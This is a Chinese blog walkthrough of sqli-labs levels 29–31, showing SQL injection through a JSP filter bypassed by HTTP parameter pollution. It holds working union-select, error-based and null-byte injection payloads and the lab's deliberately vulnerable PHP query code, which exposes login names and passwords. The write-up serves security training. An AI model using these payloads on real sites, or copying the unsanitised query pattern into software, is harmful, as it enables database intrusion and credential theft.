sqli-labs靶场详解(less29-less31)

less-29

提示有最好的防火墙

小白原因 这种题型没见过 先自己测试一下

?id=1' to use near ''1'' 预计可以使用报错注入 和单引号有关的注入点

?id=1' and '1'='1 成功

?id=1' and '1'='2 失败

确实是单引号字符型注入点

?id=1';%00 id=1%27;%00 获取到了%00空字符(原因就是服务器获取的url编码后的信息)

?id=1'; 报错 看来%00还是可以用的

?id=0' union select 1,2,3;%00 联合查询注入成功

?id=1' and extractvalue(1,concat('~',database())) ;%00

?id=1' and extractvalue(1,concat('~',database())) and '1'='1

成功报错注入 莫名其妙注入成功 这关难点在哪呢

发现服务器获取的是url编码后的信息

Hint: The Query String you input is: id=1%27%20and%20extractvalue(1,concat(%27~%27,database()))%20and%20%271%27=%271

这么简单和第一关一样 并且提示有最好的waf 我就纳闷了先看了一下源码有3个意识到不简单  我就搜索教程了

搜索教程发现  29-32需要自己搭建环境 这个靶场只提供源码

搭建了一个半小时各种问题 好歹最后成功了(在这我也发现了 无论什么时候都要靠自己 b站上搭建的视频 博主根本不好好看源代码 首页面报错必须输入id值才可以 估计他也是按照网上找的教程弄得)

不输入参数的时候我的一点问题没有 

这是网上全都出现的问题 不输入参数会报错

修改点就在index.jsp第二个url中 下面的代码分析中可以看到

下载一个jspstudy 充当waf 服务端口phpstudy启用80 jspstudy使用8080

接下来我们访问这个8080端口 也就是waf的

进行注入测试 

?id=1 正常

?id=1' 直接跳转到hacked.jsp提示攻击被阻挡

多次测试只能输出id的整数 输入什么都会提示攻击被阻挡

搜索教程后 该关使用的是参数污染的方式进行注入

?id=1&id=2  返回id=2的数据id=1的数据不返回

?id=1'&id=2 攻击被阻挡

?id=1&id=2' 出现了报错信息 单引号引发的问题

?id=1&id=2' and 1=1;%00 成功

Hint: The Query String you input is: id=1&id=2%27%20and%201=2;%00

?id=1&id=2' and 1=2;%00 无回显

Hint: The Query String you input is: id=1&id=2%27%20and%201=2;%00

到这就知道了 服务器后端只对第二个id参数进行处理

注入实例

?id=1&id=0' union select 1,2,3;%00 成功

可以使用联合注入 报错注入 盲注 

?id=1&id=2'&id=4  返回第id=4的数据 id=2'也不报错 也不提示攻击失败

Hint: The Query String you input is: id=1&id=2%27&id=4

通过以上发现 服务器后端只处理最后的id参数 waf只处理第一个id参数

先讲一下双层服务器

tomcat充当waf服务器 waf对参数进行过滤后 再把数据提交给apache服务器

         服务器端有两个部分:第一部分为 tomcat 为引擎的 jsp 型服务器,第二部分为 apache为引擎的 php 服务器,真正提供 web 服务的是 php 服务器。工作流程为:client 访问服务器,能直接访问到 tomcat 服务器,然后 tomcat 服务器再向 apache 服务器请求数据。数据返回路径则相反。

        而在我们实际应用中,也是有两层服务器的情况,那为什么要这么做?是因为我们往往在 tomcat 服务器处做数据过滤和处理,功能类似为一个 WAF。而正因为解析参数的不同,我们此处可以利用该原理绕过 WAF 的检测。该用法就是 HPP(HTTP Parameter Pollution),http 参数污染攻击的一个应用。HPP 可对服务器和客户端都能够造成一定的威胁。

代码分析一波

waf服务器的 index.jsp文件

<%String id = request.getParameter("id");//获取id参数 获取的第一个id参数String qs = request.getQueryString();if(id!=null)//参数不为空{if(id!="")//参数不为空{//try里面的就是waf工作原理try{String rex = "^\\d+$"; //设置正则表达式 只能有数字Boolean match=id.matches(rex);//看看参数中是否只有数字  就这一行就构成了最强的waf 因为只能匹配数字 只要是数字才能进行下一步if(match == true)//如果全是数字{URL sqli_labs = new URL("http://172.23.19.152/sql/Less-29/index.php?"+ qs);//跳转到新的页面URLConnection sqli_labs_connection = sqli_labs.openConnection();  //这8行都是传数据用的 提供给新的页面BufferedReader in = new BufferedReader(new InputStreamReader(sqli_labs_connection.getInputStream()));String inputLine;while ((inputLine = in.readLine()) != null) out.print(inputLine);in.close();}else//还有别的符号  只要有别的符号服务器就认为你要攻击他 就跳转到hacked.jsp页面中 提示攻击失败{response.sendRedirect("hacked.jsp");}} catch (Exception ex) //异常处理 不用管{out.print("<font color= '#FFFF00'>");out.println(ex);out.print("</font>");				}finally{}}}else{URL sqli_labs = new URL("http://172.23.19.152/sql/Less-29/index.php");URLConnection sqli_labs_connection = sqli_labs.openConnection();BufferedReader in = new BufferedReader(new InputStreamReader(sqli_labs_connection.getInputStream()));String inputLine;while ((inputLine = in.readLine()) != null) out.print(inputLine);in.close();}
%>

服务器index.php页面

<?php
include("../sql-connections/sql-connect.php");
error_reporting(0);
if(isset($_GET['id']))
{$id=$_GET['id'];//这一步获取的是最后一个id的参数//logging the connection parameters to a file for analysis.$fp=fopen('result.txt','a');fwrite($fp,'ID:'.$id."\n");fclose($fp);$qs = $_SERVER['QUERY_STRING'];$hint=$qs;
// connectivity echo '$id';//证明获取最后一个参数$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result);if($row){echo "<font size='5' color= '#99FF00'>";	echo 'Your Login name:'. $row['username'];echo "<br>";echo 'Your Password:' .$row['password'];echo "</font>";}else {echo '<font color= "#FFFF00">';print_r(mysql_error());echo "</font>";  }
}else { echo "Please input the ID as parameter with numeric value";}
?>

我分析代码后 不理解为什么jsp获取第一个参数 php获取最后一个参数

注意

AI解释 Java中,getParameter()方法只返回给定名称的第一个值 PHP自动获取参数是最后一个参数

less-30

同样告诉有最好的WAF 注入过程估计和上一题一样

各种测试 提示攻击失败

毕竟是WAF只能使用参数污染的方式了

?id=1&id=2'   不报错还查询出了结果 看来也是字符型 但是不是使用的单引号

试了一下双引号 直接出来结果了

?id=1&id=2" and 1=1;%00 成功

?id=1&id=2" and 1=2;%00 失败

看看能不能使用报错函数

?id=1&id=2" 无返回结果 不报错 看来不能使用报错函数

成功确定注入点

其余和上一关同理  能使用布尔注入 联合查询注入

详情请看less-29

less-31

一样的提示

直接使用参数污染的注入方式

?id=1&id=2' 不报错 输出结果 看来还是字符型 尝试一下 看看是那种字符型注入

?id=1&id=2" 报错 to use near '"2"") 直接就出来了 双引号加括号的字符型

?id=1&id=2") and 1=1;%00 成功

?id=1&id=2") and 1=2;%00 无返回结果

成功确定注入点

可以使用 联合查询 盲注 报错注入

详情请看less29

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/226447.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

手把手教你:基于python+Django的英文数据分析与可视化系统

系列文章 手把手教你&#xff1a;基于Django的新闻文本分类可视化系统&#xff08;文本分类由bert实现&#xff09;手把手教你&#xff1a;基于python的文本分类&#xff08;sklearn-决策树和随机森林实现&#xff09;手把手教你&#xff1a;基于TensorFlow的语音识别系统 目录…

LeetCode-面试题08.01 三步问题 C/C++实现 超详细思路及过程[E]

&#x1f388;归属专栏&#xff1a;深夜咖啡配算法 &#x1f697;个人主页&#xff1a;Jammingpro &#x1f41f;记录一句&#xff1a;摆了一个周末了&#xff0c;不能摆了&#xff0c;努力起来&#xff01;&#xff01; 文章目录 LeetCode-面试题08.01 三步问题&#x1f697;题…

大语言模型(LLMs)在 Amazon SageMaker 上的动手实践(一)

本期文章&#xff0c;我们将通过三个动手实验从浅到深地解读和演示大语言模型&#xff08;LLMs&#xff09;&#xff0c;如何结合 Amazon SageMaker 的模型部署、模型编译优化、模型分布式训练等。 实验一&#xff1a;使用 Amazon SageMaker 构建基于开源 GPT-J 模型的对话机器…

Vue3的项目创建到启动

Vue3的项目创建 检查node版本创建 npm init vuelatest 安装依赖 项目启动 启动成功

初识《树》

目录 前言&#xff1a; 树的概念及结构&#xff1a; 1.概念 2.结构 3.树的相关概念 4.树的表示 5.树的实际应用 二叉树的概念及结构&#xff1a; 1.概念 2.特殊二叉树 ​编辑 3.二叉树的性质 对于满二叉树 对于完全二叉树&#xff1a; 4.二叉树的存储结构 堆 …

从零带你底层实现unordered_map (2)

&#x1f4af; 博客内容&#xff1a;从零带你实现unordered_map &#x1f600; 作  者&#xff1a;陈大大陈 &#x1f680; 个人简介&#xff1a;一个正在努力学技术的准C后端工程师&#xff0c;专注基础和实战分享 &#xff0c;欢迎私信&#xff01; &#x1f496; 欢迎大家…

webgoat-Cross Site Scripting XSS 跨站脚本攻击

01 概念 本节课讲述了什么是XSS&#xff0c;并使用XSS执行那些非开发者本意的任务。 目标 了解什么是XSS&#xff0c;XSS如何工作&#xff1f; 学习反射型XSS及注入&#xff0c;基于DOM的XSS注入 02 What is XSS? Cross-Site Scripting也叫XSS是一种漏洞&#xff0c;允许…

Pytorch-gpu环境篇

最最最头疼的就是配环境了 包之间的版本匹配问题 INSTALLING PREVIOUS VERSIONS OF PYTORCH 要考虑到pytorch和torchvision之间的匹配关系 显卡版本匹配问题

一篇博客带你了解TCP网络传输协议

Transmission Control Protocol&#xff08;TCP&#xff0c;传输控制协议&#xff09;是互联网协议套件中的一种主要协议之一&#xff0c;负责在网络上可靠地传输数据。下面是TCP协议的详细讲解&#xff1a; 1. 基本概念&#xff1a; 面向连接&#xff1a; TCP是一种面向连接的…

四、防火墙-NAT Server

学习防火墙之前&#xff0c;对路由交换应要有一定的认识 NAT Server1.1.基本原理1.2.多出口场景下的NAT Server1.3.源进源出 —————————————————————————————————————————————————— NAT Server 一般对用户提供一些可访问的…

[栈溢出+参数跟踪] [ZJCTF 2019]Login

题目来源 buuctf——[ZJCTF 2019]Login 本题主要考察参数溯源的能力。 参考链接 https://zhuanlan.zhihu.com/p/570607303 题目信息 64位&#xff0c;ubuntu16&#xff0c;开了金丝雀 C风格的代码&#xff0c;并且将admin登录信息写入代码中。 溢出点不在这里&#xff0c;但是…

将本地项目上传到gitee

本文详细介绍如何将本地项目上传到gitee 1.登录gitee创建一个与本地项目名相同的仓库 2.进入本地项目所在路径&#xff0c;打开Git Bash 3.执行初始化命令 git init4.添加远程仓库 4.1 点击复制你的HTTPS仓库路径 4.2 执行添加远程仓库命令 git remote add origin 你的…